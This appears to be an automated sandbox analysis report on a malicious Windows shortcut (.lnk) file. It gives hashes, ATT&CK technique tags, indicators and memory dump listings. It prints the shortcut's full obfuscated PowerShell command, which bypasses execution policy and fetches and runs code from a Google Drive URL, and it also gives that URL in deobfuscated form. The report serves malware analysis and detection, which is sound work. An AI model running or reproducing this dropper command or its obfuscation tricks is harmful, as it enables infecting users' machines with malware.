08b85c072d8fba2adda8956c1ee3e086370efd8465700fee83aea4aedb4fdc0b

Resubmissions

09/11/2024, 05:12

241109-fvyq9s1mdl 10

26/09/2024, 17:08

240926-vnlkpa1gnd 10

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26/09/2024, 17:08

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General

Target

08b85c072d8fba2adda8956c1ee3e086370efd8465700fee83aea4aedb4fdc0b.lnk
Size

3KB
MD5

58657e9d42041b92fc229395bec9129f
SHA1

6dfd0ba65d061b6cd7b8e1126553a09c85f58878
SHA256

08b85c072d8fba2adda8956c1ee3e086370efd8465700fee83aea4aedb4fdc0b
SHA512

b7d527a70826e5e8813812936ad70b0bab005ee8d793ff3e940cae5aac0b78e21a5d9e9d24f9a3a885b1438d576e72de5838c404f60c5306a501249a03acc2f8

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UUcYiqZwEV_WiJu15EZ3CoLRbDBqVoEg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2540	powershell.exe
7	2540	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
4	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 2540	2516	cmd.exe	31
PID 2516 wrote to memory of 2540	2516	cmd.exe	31
PID 2516 wrote to memory of 2540	2516	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\08b85c072d8fba2adda8956c1ee3e086370efd8465700fee83aea4aedb4fdc0b.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /""W 0""1 ""-Non""Inte""ract""ive ""-No""Prof""ile ""-Exe""cut""ionPo""licy ""Byp""ass $kZ788UmuOaf8KSE4Z2z1X6JZe3y3Vjtpe1NrZt5Y37yS32l2QZY34a0xrE0bgk9Z0CSrya87I46tBE9T37wyHxdL4gcbIRpe35OVT7M8fVtfDmDYctLDm2Bv6Cf0LDl7QioQk4KvVVb4CSA8U6wS61gEWbVMm14jtFYSx4S5i0sFjeC3fd4KF6XtKMek3Iig25iUp7fz9W1PaK650qbQkZx349PFYI7BkF4s2pS56jddf5JEZvV751FiZk17tm0j5A6dp70sFbvpg8hNNw3kI6wI7TCIktLZrXkPMlK8nixxPGN11UIiIf169df177gNe2AfYzFm4='i""Ex';sal uzbekistanac $kZ788UmuOaf8KSE4Z2z1X6JZe3y3Vjtpe1NrZt5Y37yS32l2QZY34a0xrE0bgk9Z0CSrya87I46tBE9T37wyHxdL4gcbIRpe35OVT7M8fVtfDmDYctLDm2Bv6Cf0LDl7QioQk4KvVVb4CSA8U6wS61gEWbVMm14jtFYSx4S5i0sFjeC3fd4KF6XtKMek3Iig25iUp7fz9W1PaK650qbQkZx349PFYI7BkF4s2pS56jddf5JEZvV751FiZk17tm0j5A6dp70sFbvpg8hNNw3kI6wI7TCIktLZrXkPMlK8nixxPGN11UIiIf169df177gNe2AfYzFm4;uzbekistanac(uzbekistanac($($('(n""QNVrd3W""2GjJK36w-oBJQ""NVrd3W2G""jJK36ct sY""stQNV""rd3W""2GjJK36m.NQNVrd3""W2GjJK36t.WQN""Vrd3W2GjJK36bcLi""QNVrd3W2GjJ""K36nt"")"".dos""2Wr6qQRtR""InG(''hfTdH8C6drivz2Wr6qQR.gs97YMGcyg0WCrs97YMGcyg0WCrglz2Wr6qQR.cs97YMGcyg0WCrm/uc?z2Wr6qQRxps97YMGcyg0WCrrt=ds97YMGcyg0WCrwnls97YMGcyg0WCrad&id=1UUcYiqZwEV_WiJu15EZ3Cs97YMGcyg0WCrLRbDBqVs97YMGcyg0WCrEg''.rEpLACe(''fTdH8C6'',''ttps://'').rEpLACe(''s97YMGcyg0WCr'',''o'').rEpLACe(''z2Wr6qQR'', ''e''))').rEpLACe('QNVrd3W2GjJK36', 'e').rEpLACe('s2W""r6qQR', 'wnlo""adS'))))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2540-38-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

Filesize
4KB

Download
memory/2540-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2540-40-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/2540-41-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-42-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-43-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-44-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-45-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download